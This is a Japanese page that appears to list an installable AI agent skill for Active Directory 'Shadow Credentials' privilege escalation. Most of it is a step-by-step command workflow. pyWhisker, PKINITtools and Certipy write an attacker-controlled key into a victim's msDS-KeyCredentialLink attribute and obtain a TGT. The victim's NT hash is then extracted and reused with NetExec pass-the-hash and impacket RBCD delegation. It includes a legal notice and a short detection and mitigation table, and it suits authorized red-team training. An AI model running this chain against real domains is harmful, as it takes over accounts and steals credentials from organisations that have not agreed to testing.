Communitygithub.com

シャドウクレデンシャルの悪用による権限昇格

pyWhisker、Whisker、Certipyなどのツールを使い、攻撃者が制御する公開鍵をActive DirectoryオブジェクトのmsDS-KeyCredentialLink属性に書き込み、PKINITによる認証を通じて対象アカウントのNTハッシュを取得します。これにより、パスワードリセットなしで完全なアカウント乗っ取りを実現します。

シャドウクレデンシャルの悪用による権限昇格 とは?

このスキルはActive Directoryの「シャドウクレデンシャル」テクニックを悪用して権限昇格を行う方法を詳細に説明します。攻撃者は対象アカウント(ユーザーまたはコンピュータ)のmsDS-KeyCredentialLink属性に書き込み権限(GenericWriteやAddKeyCredentialLinkなど)を持っている場合、自身が生成した公開鍵をその属性に追加します。その後、PKINITプロトコルを使って対応する秘密鍵からTGT(チケット認証チケット)を要求し、対象のNTハッシュを抽出します。この手法はパスワードリセットを伴わないため、従来の強制パスワード変更よりはるかにステルス性が高く、BloodHoundで発見されたACLパスを利用したアカウント乗っ取りに最適です。主なツールとしてPython版のpyWhisker、C#版のWhisker、Certipyのshadow auto機能が利用可能で、Windows Server 2016以降のドメインコントローラでPKINITが有効である必要があります。スキルはMITRE ATT&CKのT1098.005(アカウント操作:デバイス登録)にマッピングされ、検出と対策に関するガイダンスも提供します。

対応~Claude Code~Codex CLI~Cursor
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills/tree/main/skills/abusing-shadow-credentials-for-privesc

お気に入りのAIに質問する

このエージェントスキルを事前に読み込んだ状態で新しいチャットを開きます。

ドキュメント

シャドウクレデンシャルを悪用した権限昇格

法的通知: このスキルは許可されたセキュリティテストおよび教育目的のみで使用してください。シャドウクレデンシャルは、対象アカウントを完全に乗っ取るものです。自分が所有するシステム、または書面で明示的に許可されたシステムに対してのみ使用してください。無許可のアクセスは犯罪です。

概要

シャドウクレデンシャル テクニックは、Active Directory のユーザーおよびコンピュータオブジェクトが持つ msDS-KeyCredentialLink 属性を悪用します。この属性は、Windows Hello for Business や Azure AD デバイス登録で使用される生の公開鍵(「キークレデンシャル」)を格納し、PKINIT(Public Key Cryptography for Initial Authentication in Kerberos)によるパスワードレス証明書ベースのログオンを可能にします。攻撃者が対象オブジェクトの msDS-KeyCredentialLink に対して書き込み権限(通常は BloodHound で発見される GenericWrite、GenericAll、WriteProperty、AddKeyCredentialLink の ACE によって付与される)を持っている場合、自身が生成した公開鍵を追記できます。その後、一致する秘密鍵を使用して PKINIT 経由で対象の TGT を要求し、対象の NT ハッシュを復元することで、パスワードをリセットせずに 完全なアカウント乗っ取りを達成します。これは強制的なパスワードリセットよりもはるかにステルス性が高い手法です。

このテクニックは Elad Shamir 氏(「Shadow Credentials: Abusing Key Trust Account Mapping for Account Takeover」)によって公開され、C# ツール Whisker で実装されました。Python 版の pyWhisker(ShutdownRepo)は LDAP 経由で属性を操作し、Certipy は certipy shadow auto コマンドでチェーン全体を統合しています。対象環境は PKINIT をサポートし、少なくとも 1 台の Windows Server 2016 以降のドメインコントローラが必要です。参考資料: pyWhisker、Whisker、The Hacker Recipes — Shadow Credentials。

使用するタイミング

  • BloodHound で高価値のユーザーやコンピュータに対する GenericWrite/GenericAll/AddKeyCredentialLink が確認された場合
  • ForceChangePassword よりもステルス性の高い代替手段として(パスワードリセットなし = 混乱やアラートが少ない)
  • コンピュータアカウントを乗っ取り、リソースベースの制約付き委任(RBCD)にチェーンするため
  • 正当なユーザーをロックアウトせずにアカウント乗っ取りが必要なレッドチーム作戦時
  • msDS-KeyCredentialLink の変更テレメトリを生成するパープルチーム演習時

前提条件

  • AD クレデンシャルアクセス手法を含む認可されたエンゲージメント範囲
  • 対象の msDS-KeyCredentialLink への書き込みアクセス権を持つプリンシパルの制御
  • PKINIT が有効な Windows Server 2016 以降の DC(キートラストをサポートするドメイン機能レベル)
  • DC 上の LDAP(389/636)および Kerberos(88)へのネットワーク到達性
  • Python 3.8 以降がインストールされた Linux 攻撃ホスト。ツールのインストール:
    # pyWhisker (ソースから)
    git clone https://github.com/ShutdownRepo/pywhisker
    cd pywhisker && pip install .
    # Certipy (統合シャドウ攻撃)
    pipx install certipy-ad
    # PKINITtools (手動 TGT/NT ハッシュ抽出用)
    git clone https://github.com/dirkjanm/PKINITtools
    

目標

  • 対象の msDS-KeyCredentialLink に対する書き込みアクセス権の確認
  • キーペアを生成し、キークレデンシャルを対象オブジェクトに追記
  • 新しいキーを使用した PKINIT 経由で対象の TGT を要求
  • パスザハッシュ / さらなる移動のために対象の NT ハッシュを復元
  • 注入したキークレデンシャルを削除し、オブジェクトの状態を復元
  • 攻撃を可能にした ACL パスを是正のために文書化

MITRE ATT&CK マッピング

IDテクニックこのスキルでの適用
T1098.005アカウント操作: デバイス登録攻撃者が制御するキークレデンシャル(デバイスキー)を msDS-KeyCredentialLink に書き込み、対象アカウントの代替認証クレデンシャルを登録する

ワークフロー

ステップ 1: 書き込みプリミティブの確認

対象の既存のキークレデンシャルを一覧表示して、必要なアクセス権があることを確認します。結果が空か読み取り可能であれば、add ステップの書き込みアクセス権を確認できます。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "list"

ステップ 2: pyWhisker でシャドウクレデンシャルを追加

証明書/鍵ペアを生成し、対象の msDS-KeyCredentialLink に書き込みます。pyWhisker は制御可能な PFX を出力します。

python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "add" --filename victim_shadow
# victim_shadow.pfx が生成され、PFX パスワードが出力されます

チケットのみを保持している場合は、パスワードの代わりに Kerberos 認証を使用します:

python3 pywhisker.py -d "corp.local" -u "attacker" -k --no-pass \
    --target "victim" --action "add" --filename victim_shadow --use-ldaps

ステップ 3: PKINIT 経由で TGT を要求

生成された PFX を PKINITtools とともに使用し、対象の Kerberos TGT を取得します。

python3 PKINITtools/gettgtpkinit.py \
    -cert-pfx victim_shadow.pfx -pfx-pass <PFX_PASSWORD> \
    corp.local/victim victim.ccache

ステップ 4: NT ハッシュを復元

ステップ 3 のセッションキーを使用して AS-REP から対象の NT ハッシュを抽出します(getnthash.py は AS-REP 暗号化キーを読み取ります。このキーは gettgtpkinit.py によって表示されます)。

export KRB5CCNAME=victim.ccache
python3 PKINITtools/getnthash.py -key <AS-REP-KEY-FROM-STEP-3> corp.local/victim
# 'victim' の NT ハッシュが出力されます

ステップ 5: Certipy によるワンショット代替

Certipy の shadow auto は、add → PKINIT → ハッシュダンプ → クリーンアップを自動的に実行します。これはコンピュータアカウントの乗っ取りに最適です。

certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'
# コンピュータアカウントの場合は、末尾に $ が付いた sAMAccountName を使用します
certipy shadow auto -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'WS01$'

ステップ 6: 復元したクレデンシャルを使用

NT ハッシュ(または TGT)を使用してエンゲージメントを継続します。

# NetExec でパスザハッシュ
nxc smb 10.0.0.10 -u victim -H <RECOVERED-NT-HASH>
# または TGT を直接使用
export KRB5CCNAME=victim.ccache
nxc smb dc.corp.local -u victim --use-kcache

ステップ 7: コンピュータ乗っ取りを RBCD にチェーン(オプション)

対象がコンピュータの場合、復元した鍵/ハッシュを使用してリソースベースの制約付き委任(RBCD)を設定し、任意のユーザーをそのホストに偽装できます。

# attacker$ が WS01$ に偽装できるよう RBCD を設定
impacket-rbcd -delegate-from 'attacker$' -delegate-to 'WS01$' \
    -action write 'corp.local/attacker:Passw0rd!'

ステップ 8: クリーンアップ

注入したキークレデンシャルを削除して、オブジェクトを復元し、検出の足跡を減らします。

# pyWhisker: device-id(追加時に出力される)で削除、または追加したすべてをクリア
python3 pywhisker.py -d "corp.local" -u "attacker" -p "Passw0rd!" \
    --target "victim" --action "remove" --device-id <DEVICE-ID>
# Certipy shadow auto は自動的にクリーンアップします。それ以外の場合:
certipy shadow clear -u '[email protected]' -p 'Passw0rd!' \
    -dc-ip 10.0.0.100 -account 'victim'

ツールとリソース

リソース目的リンク
pyWhiskerPython による msDS-KeyCredentialLink の LDAP 操作https://github.com/ShutdownRepo/pywhisker
Whisker元の C# 実装https://github.com/eladshamir/Whisker
Certipyshadow auto によるエンドツーエンドの乗っ取りhttps://github.com/ly4k/Certipy
PKINITtoolsgettgtpkinit / getnthashhttps://github.com/dirkjanm/PKINITtools
The Hacker Recipesテクニックの解説と防御策https://www.thehacker.recipes/ad/movement/kerberos/shadow-credentials

検出と対策の注意点

領域ガイダンス
検出Windows セキュリティイベント ID 5136(ディレクトリオブジェクトの変更)を監視し、msDS-KeyCredentialLink への変更を検出。AD Connect や Intune 以外のプリンシパルが属性を書き込んだ場合にアラート。
監査ユーザー/コンピュータ OU でディレクトリサービスオブジェクト変更監査を有効化。
最小権限不要な GenericWrite/GenericAll/AddKeyCredentialLink ACE を削除(BloodHound の AddKeyCredentialLink エッジ)。
緩和策Windows Hello/デバイス登録が使用されていない場合、キークレデンシャルを書き込めるユーザーを制限し、Tier 0 保護アカウントを検討。

検証基準

  • 対象の msDS-KeyCredentialLink への書き込みアクセス権が確認された(list 成功)
  • キークレデンシャルが正常に追加された(PFX が生成された)
  • 対象アカウントの PKINIT TGT が取得された
  • 対象の NT ハッシュが復元され、サービスに対して検証された
  • (コンピュータの場合)RBCD チェーンまたはさらなる移動が実証された
  • 注入されたキークレデンシャルが削除され、オブジェクトが復元された
  • ACL パスが有効化され、是正推奨事項とともに文書化された

Individual skills in this repo

This repo contains 20 individual skills — each has its own dedicated page.

abusing-dpapi-for-credential-access

Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket

achieving-cmmc-level-2-compliance

>-

acquiring-disk-image-with-dd-and-dcfldd

Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.

analyzing-active-directory-acl-abuse

Detect dangerous ACL misconfigurations in Active Directory using ldap3

analyzing-android-malware-with-apktool

Perform static analysis of Android APK malware using apktool for resource decompilation, jadx for Java source recovery, and androguard for manifest inspection, dangerous permission-combination detection, and identification of obfuscated code, dynamic code loading, and reflection-based API calls. Use to statically triage a suspicious APK without executing it or to build mobile malware detection rules.

analyzing-api-gateway-access-logs

Parses API Gateway access logs (AWS API Gateway, Kong, Nginx) to detect

analyzing-apt-group-with-mitre-navigator

Query ATT&CK data with attackcti, mitreattack-python, and stix2, then build MITRE ATT&CK Navigator layers and multi-layer heatmap overlays mapping one or more APT groups

analyzing-azure-activity-logs-for-threats

Queries Azure Monitor activity logs and sign-in logs via azure-monitor-query

analyzing-bootkit-and-rootkit-samples

Analyzes bootkit and advanced rootkit malware infecting the Master

analyzing-browser-forensics-with-hindsight

Parse Chromium-based browser databases with Hindsight to extract and correlate browsing history, downloads, cookies, cached content, autofill data, saved passwords, and extensions from Chrome, Edge, Brave, Opera, and Vivaldi into a unified timeline (XLSX, JSON, or SQLite output). Use during incident response, insider-threat investigations, or criminal cases when you need to reconstruct a user

analyzing-campaign-attribution-evidence

Systematically evaluate cyber-campaign evidence to attribute an operation to a threat actor, using the Diamond Model and Analysis of Competing Hypotheses (ACH) to weigh infrastructure overlaps, TTP consistency, malware code similarity, and timing/language artifacts into confidence-weighted attribution assessments. Use when an incident investigation needs a defensible attribution confidence level.

analyzing-certificate-transparency-for-phishing

Monitor Certificate Transparency logs using crt.sh and Certstream to

analyzing-cloud-storage-access-patterns

Detect abnormal access in AWS S3, GCS, and Azure Blob Storage by analyzing CloudTrail Data Events, GCS audit logs, and Azure Storage Analytics for after-hours bulk downloads, new-IP access, and API-call spikes (e.g. GetObject) via statistical baselines and time-series anomaly detection. Use when investigating suspected cloud data exfiltration or building related detection rules.

analyzing-cobalt-strike-beacon-configuration

Extract and analyze Cobalt Strike beacon configuration from PE files

analyzing-cobaltstrike-malleable-c2-profiles

Parse and analyze Cobalt Strike Malleable C2 profiles with dissect.cobaltstrike (profiles and beacon-payload configs) and pyMalleableC2 (AST parsing) to extract HTTP/DNS transforms, URIs, headers, sleep/jitter, and injection behavior, then generate network detection signatures. Use when reverse-engineering a captured malleable profile or building detections against Cobalt Strike Beacon traffic.

analyzing-command-and-control-communication

Analyzes malware C2 communication over HTTP, HTTPS, DNS, and custom

analyzing-cyber-kill-chain

Analyzes intrusion activity against the Lockheed Martin Cyber Kill Chain

analyzing-disk-image-with-autopsy

Perform comprehensive forensic analysis of raw (dd), E01, or AFF disk images with Autopsy and The Sleuth Kit, recovering deleted files, examining metadata and embedded artifacts, keyword searching, and building investigation timelines with visual reports. Use for structured analysis of a forensic disk image or when stakeholders need visual reports from evidence.

analyzing-dns-logs-for-exfiltration

Analyzes DNS query logs to detect data exfiltration via DNS tunneling,

analyzing-docker-container-forensics

Investigate compromised Docker containers by analyzing images, layers,

関連スキル